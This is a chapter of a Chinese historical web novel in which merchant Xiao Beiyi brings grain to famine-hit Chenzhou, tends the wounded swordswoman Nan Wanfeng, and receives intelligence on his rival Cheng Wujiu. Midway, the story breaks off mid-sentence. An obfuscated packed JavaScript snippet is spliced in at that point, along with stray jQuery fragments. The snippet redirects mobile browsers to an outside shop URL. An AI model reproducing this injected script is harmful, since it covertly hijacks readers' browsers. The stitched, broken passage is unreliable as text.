大中祥符九年的七月,蝗灾如黑云般席卷了京东路和京西路。
萧北翊站在城外基地的瞭望塔上,看着远处灰蒙蒙的天际线。那不是云,是蝗虫。遮天蔽日的蝗虫,从东边飞来,啃光了庄稼,啃光了树叶,啃光了野草,然后继续向西,朝东京城方向扑来。
阿九爬上瞭望塔,把一份急报递给他。是赵衍从陈州送来的。信上说陈州的庄稼已经绝收,百姓开始逃荒,官仓的粮食见了底。赵衍问他赤羽能不能再调粮食过去,信末附了一句:“子翼,陈州数万百姓的命,系于你一念之间。”
萧北翊把信折好,收进袖子里。“阿九,让钱串子把城东仓库的存粮清点一下。调三千石去陈州,一千石送去应天府,一千石留在东京城应急。”
阿九没有立刻离开。“萧哥,咱们的存粮也不多了。蝗灾过后粮价肯定涨,这时候放粮出去,会不会太亏?”
“亏?钱亏了可以再赚。人亏了,就再也赚不回来了。”萧北翊转过身,“去吧。”
阿九不再多言,转身下了瞭望塔。
七月中旬,萧北翊决定亲自去陈州一趟。不光是运粮,还要看看灾情,安抚百姓。他让钱串子准备了两辆马车,一辆装粮食和药材,一辆自己乘坐。赵大锤看到马车,眼睛都亮了。
“萧哥,你终于不骑驴了!”
“骑驴太慢。陈州那边等不及。”萧北翊翻身上了马车,回头看了基地一眼。南晚枫站在仓库门口,手里拿着一把短刀,正在擦拭。她穿着一件青色的短打,头发扎成马尾,看起来跟平时没什么不同。但萧北翊注意到,她的手腕上缠着一条新的布带,白得刺眼。
“南姑娘,你去不去陈州?”萧北翊随口问了一句。
南晚枫抬起头,看了他一眼。“不去。”
从东京城到陈州,走官道三天。萧北翊坐在马车里,手里翻着阿九整理的情报简报。简报上记着几条关于程无咎的消息——程家在洛阳附近买了一座大庄园,占地三百亩,庄园里住着不少江湖人;程家远亲的宅子又复工了,规模比原来小了不少,但还在建;耶律信还在东京城,躲在城南的一家客栈里,深居简出。
萧北翊把简报合上,靠在车壁上。马车颠簸得厉害,但他的思绪比马车更颠簸。程无咎在洛阳养江湖人,少说上百人,不是为了看家护院,一定有更大的图谋。耶律信不离开东京城,说明他还有任务没完成。这两条线,迟早会相交。他要做的,就是在他们相交之前,找到那个交点。
第二天傍晚,车队在一个小镇上歇脚。萧北翊让赵大锤去找客栈,赵大锤不一会儿就回来了,说镇上唯一的客栈住满了逃荒的灾民,没有空房。
“那就睡车上。”萧北翊说完,忽然听见远处传来一阵嘈杂的声音。有哭喊声,有叫骂声,还有刀剑碰撞的叮当声。
“燕北——”萧北翊刚开口,燕北已经朝那个方向掠了过去,身形快得只剩一道残影。
赵大锤紧张得攥紧了拳头。“萧哥,要不你先躲起来?”
萧北翊摇头。“躲什么?去看看。”
他带着赵大锤朝声音传来的方向走去。穿过一条小巷,眼前是一片空地。十几个衣衫褴褛的灾民围着一个年轻的姑娘,姑娘穿着一件灰色的短褐,腰间别着一把短刀,头发散乱,脸上有血迹。她的脚边躺着几个壮汉,有的捂着肚子,有的抱着腿,正在地上打滚。
萧北翊一眼就认出了那把短刀——南晚枫的刀。
“南姑娘?”他快步走过去,“你怎么在这里?”
南晚枫抬起头,看见是他,眼中的寒光敛去了一些。她把短刀插回腰间,擦了擦脸上的血迹。“说来话长。”
“说短的。”
“程无咎的人在陈州设了埋伏,想在路上截你的粮车。我去解决了。”她的声音很平淡,像是在说今天天气不错。
萧北翊的心沉了一下。“几个人?”
“七个。四个在这里,三个在路上。”南晚枫低头看了一眼地上打滚的壮汉,“他们没死。只是暂时动不了。”
萧北翊看着她,注意到她的左臂有些不自然地下垂,袖子被划开了一道口子,血迹从里面渗出来。上次她手腕上的伤还没好透,这次又添了新伤。
“你的手——”
“皮外伤,不碍事。”南晚枫打断了他,但萧北翊注意到她的嘴唇有些发白,额头上沁出了细密的汗珠。
赵大锤从客栈里借来了一壶热水和几条干净布巾,萧北翊让南晚枫在车辕上坐下,蹲下来给她包扎。她先是推拒了一下,但他没有松手,她便不再动了,只是把头偏向一边,不看他。
萧北翊小心地卷起她的袖子,看到左臂上一道三寸长的刀伤,皮肉翻开,触目惊心。他的手指微微发抖,但尽力控制住动作,先用清水冲洗,再用布巾包扎。他把布条缠了几圈,在末端系了一个结。南晚枫低下头看着那个结,忽然说了一句没头没尾的话。
“你打蝴蝶结还挺好看。”
萧北翊愣了一下。南晚枫抬起头,月光下她的表情看不太清,但嘴角微微上翘了一点,像是在笑。
萧北翊没有接话,站起来看了看天色。“上车。这里到陈州还有一天的路,你的手伤成这样,不能再骑马了。”
“我没有马。”
“坐我的车。赵大锤赶车,燕北骑马,你坐车里。”
南晚枫看着马车,沉默了片刻。“你的车你自己坐。我走路。”
“你走路?你走得过马?”萧北翊盯着她,“你的左臂在流血,你的右腿也有伤,你以为我没看见?上车,这是命令。”
南晚枫的眼睛微微眯了一下。“你是谁?凭什么命令我?”
“我是萧北翊。赤羽的东家。”萧北翊的语气没有变,但声音低了一些,“你帮赤羽挡了刀,赤羽就要对你负责。上车。不要让我说第四次。”
南晚枫盯着他看了几秒钟,嘴角的弧度大了一些。她转身朝马车走去,翻身上了车,动作干脆利落,没有丝毫拖泥带水。萧北翊跟上去,在她对面坐下。马车不大,两个人面对面坐着,膝盖几乎碰到一起。南晚枫把目光移向窗外,看着外面漆黑的夜色。
“南晚枫。”
“嗯?”
“谢谢你。”
她沉默了一会儿,依然看着窗外。“不是为了你。是为了陈州的百姓。”
“不管是为了谁,谢谢你。”
她没有再说话。
马车在夜色中继续前行。萧北翊靠在车壁上,闭上眼睛,但没有睡着。他在想南晚枫说的话——“程无咎的人在陈州设了埋伏,想在路上截你的粮车。”程无咎终于动手了,不是通过朝堂,而是通过江湖手段。这说明他已经不满足于在朝堂上打压萧北翊,而是想从□□上消灭他。
萧北翊睁开眼睛,看向对面的南晚枫。她歪靠在车厢上,似乎睡着了。月光从车窗的缝隙中洒进来,落在她的侧脸上,把她的轮廓映得柔和了几分。她的眉头微微皱着,即使在睡梦中也不放松。
萧北翊脱下外袍,轻轻披在她身上。她动了动,把脸埋进袍子里,眉头舒展开了一些。
第二天中午,车队到了陈州。赵衍在城门口迎接,看见萧北翊从马车上下来,脸上的表情放松了几分。
“子翼,你可来了!”
萧北翊把赵衍拉到一边,压低声音说了路上遇袭的事。赵衍的脸色变了,程无咎的人居然敢在官道上设埋伏,说明他已经不把朝廷法度放在眼里了。萧北翊告诉他,他养的江湖人上百,分布在洛阳和东京城两地。赵衍的神情更加凝重,洛阳是西京,兵家必争之地,程无咎在那里养江湖人,用意不言自明。萧北翊点头说他手里已经有了一批名单,正在查这些人的来历和底细,但需要时间。
南晚枫站在马车旁边,萧北翊的外袍还披在她身上。赵衍看了她一眼,又看了萧北翊一眼,没有说什么,只是嘴角微微动了一下,像是忍住了笑。
萧北翊在陈州待了两天。赵衍带他去看了陈州雅集分号的选址,三间门面,后面带一个院子,位置在陈州最繁华的大街上。萧北翊看了之后很满意,当场拍板,让白景行从东京城调一个掌柜过来,又让钱串子从柜坊支了五百两银子作为启动资金。
第二天,萧北翊去看了陈州的粥棚。赵衍在城门口支了三个粥棚,每天供应两千多灾民。粥很稀,但灾民们喝得很珍惜。萧北翊在粥棚前站了一会儿,一个老妇人端着碗走到他面前。“你是萧老板吧?”萧北翊点头。老妇人忽然跪下来磕头,说她的儿子在东京城讨生活,在赤羽的船队当伙计,是萧老板给了他们家一条活路。
萧北翊把她扶起来,从袖子里摸出几两碎银子塞给她。“大娘,粥不够吃,拿去买点干粮。”
老妇人千恩万谢地走了。赵衍站在旁边,看着这一幕,感慨道:“子翼,你在陈州的名声,比我都大。百姓提起萧老板,都说你是活菩萨。”
萧北翊摇了摇头。“赵大哥,我不是菩萨。我只是做了该做的事。”
临走那天,南晚枫找到萧北翊,把那件外袍还给他,叠得整整齐齐。
“你的衣服。”
萧北翊接过来。她的手已经重新包扎过了,绷带缠得整整齐齐,不像之前那么笨拙。
“南晚枫,你的伤——”
“不碍事了。陈半山给了药。”
“我的意思是,你的伤还没好,不要一个人赶路。跟我们一起回东京城,坐马车。”
南晚枫看了他一眼,点了点头。
马车在官道上吱吱呀呀地走着。南晚枫坐在萧北翊对面,手里拿着一把短刀,正在擦拭。刀锋在阳光下闪着寒光。
“南晚枫,你那个师姐,她叫什么名字?”
南晚枫的手顿了一下。“沈青。”
“江湖人称?”
“青娘子。”
“她愿意帮忙?”
“她说想来东京城见你。当面谈。”
萧北翊点了点头。“好。她什么时候来,我什么时候见。”
南晚枫把短刀插回腰间,看着窗外。过了好一会儿,她忽然开口。
“萧子翼,你在查程无咎,对吗?”
萧北翊看着她。“为什么这么问?”
“你的眼睛告诉我的。每次提到程无咎,你的眼睛就不一样。平时温温吞吞的,像杯凉茶。一提到他,就像茶壶底下烧了炭,咕嘟咕嘟往外冒热气。”
萧北翊没有回答。沉默了片刻之后,他开口了。“我在查一桩二十年前的旧案。我家的案子。”
南晚枫坐直了身子。“程无咎跟这桩案子有关?”
“有关。他经办过。但他不是主谋,主谋另有其人。那个人,位高权重,在朝中一手遮天。”萧北翊看着她的眼睛,“你怕不怕?”
南晚枫迎着他的目光。“我怕什么?又不是我家的案子。”
她说完又看向窗外,语气平平淡淡,但萧北翊注意到她攥着刀鞘的手比平时紧了一些。
回到东京城已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735858|206859||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是三天后了。萧北翊让阿九把沈青的情报送来——青娘子沈青,江湖人,北方七路都有眼线,专做消息买卖。她跟南晚枫是师姐妹,同出一门。师父死后,她去了江湖,南晚枫来了东京城。两人平时不怎么联系,但关系一直很好。
萧北翊看完简报,问阿九能不能联系上沈青。阿九说南晚枫已经让人传信了,沈青回话说九月初来东京城。萧北翊点了点头。
八月初,东京城凉快了下来。蝗灾渐渐平息,但灾后的饥荒还在持续。赵衍从陈州来信说,赤羽运去的粮食救了不少人,陈州百姓都在念萧老板的好。萧北翊让钱串子又调了两千石粮食运去陈州。
钱串子心疼得直抽抽。“萧哥,咱们的存粮快见底了。”
“见底就买。粮价涨了,但赤羽还能撑得住。陈州那边是救急,生意上的事可以再想办法。”
九月初,沈青到了东京城。
萧北翊在雅集的“沁园春”雅间里见她。沈青三十来岁,穿着一件墨绿色的褙子,头发用一根银簪挽着,面容清秀,但眼神很锐利。她坐在萧北翊对面,端起茶杯喝了一口。
“萧老板,久仰。”
“青娘子,久仰。”
沈青放下茶杯,从袖子里摸出一份厚厚的信札,推到萧北翊面前。“这是程无咎在北方七路的人脉网络。包括他结交的江湖门派、收买的绿林豪强、安插在各处的眼线。每条线都有据可查,不是空穴来风。”
萧北翊翻开信札,一页一页地看,越看越心惊。程无咎的网比他预想的要大得多——河北、河东、陕西、京东、京西,甚至远到成都府路,都有他的人。这些人有的是武馆教头,有的是镖局镖师,有的是地方豪强的门客,还有的是寺庙里的武僧。
他合上信札。“青娘子,这份情报价值连城。你想要什么回报?”
沈青看了一眼旁边坐着的南晚枫,嘴角微微上扬。“我要的回报,不是银子。”
“那是什么?”
“我师妹在你这里做事,我想让她过得好一点。”沈青的语气不轻不重,“她从小性子冷,不爱跟人打交道。师父在世的时候,她只听师父的。师父走了,她只听赵衍的。赵衍把她借给你当教官,她嘴上不说,心里未必愿意。萧老板,你这个人值不值得她跟着干,我还在看。”
南晚枫的脸微微泛红。“师姐,你说这些干什么?”
沈青笑了笑。“我说的不是实话吗?”
萧北翊站起来,郑重地朝沈青拱了拱手。“青娘子,南姑娘在赤羽做的事,不是我要求她做的,是她自己愿意的。赤羽上下几百号人,没人把她当下属。她是教官,也是朋友。你信也好,不信也罢,我说的是实话。”
沈青盯着他看了一会儿,忽然笑了。“萧老板,你这个人,有意思。行,这份情报就当见面礼。不收银子。以后有需要,我再来找你。”
她站起来,朝南晚枫使了个眼色。“师妹,送送我。”
两人走出雅间,萧北翊听见沈青在走廊里压低声音说了一句:“这人还行。眼神正,不躲闪。不像那些嘴上说得好听、心里藏着奸的。”
南晚枫没说话。
“你的手是他包的?”
“……嗯。”
“包的还挺好看。蝴蝶结?”
“师姐!”
沈青的笑声渐渐远去。
当天晚上,萧北翊在基地的院子里坐了很久。母狸花猫带着四只小猫蹲在墙根下,眼睛在月光下闪着绿光。他拿出那块玉佩,在月光下看了很久。玉佩上的“南”字被月光照得发亮。这些年他猜了很多次,始终不知道这块玉究竟藏着什么秘密。但有一件事他越来越确定——那个秘密,一定跟南晚枫有关。
南晚枫从阴影里走出来,在他旁边坐下。她已经换了一身干净的褙子,头发用银簪挽着,手腕上还缠着绷带。
“萧子翼,师姐跟你说了什么?”
“她说你嫌我。”
“她胡说。”
两人沉默了一会儿。萧北翊把玉佩收进袖子里,看着她的侧脸。“南晚枫,你以后打算一直待在赤羽?”
南晚枫低着头,手里摆弄着一根草茎。“不知道。”
“如果我想让你一直待着呢?”
她的手指停了一下,把草茎缠在指间又解开。“那要看你想让我待多久。”
“很久。”
南晚枫站起来,拍了拍身上的灰。“很久是多久?”
萧北翊也站起来,看着她的眼睛。“很久就是很久。我没法用数字告诉你。但我可以说一句——赤羽的大门,永远为你开着。”
南晚枫盯着他看了一会儿,嘴角微微上扬,从袖子里摸出一样东西,放在石桌上。是萧北翊送她的那块手帕,洗干净了,叠得方方正正。
“这个还你。你的东西,你自己收好。”她转身走了。
萧北翊拿起手帕,上面绣着一枝梅花,针脚细密。他看了很久,把手帕折好,收进袖子里,和那块玉佩放在一起。
母猫蹲在旁边,眼睛在黑暗中发着绿光。
萧北翊站起来回了房间。他拿出那本只有自己能看懂的账册,在空白页上画了一行符号。翻译过来是:“大中祥符九年,九月初五。陈州运粮累计五千石。程无咎江湖网络初步查明,沈青提供详细名单。感情线升温。下一步:应对程无咎的明枪暗箭,扩大赤羽情报网,为改元天禧做准备。”
窗外,母猫叫了一声,声音很轻。萧北翊吹灭了油灯。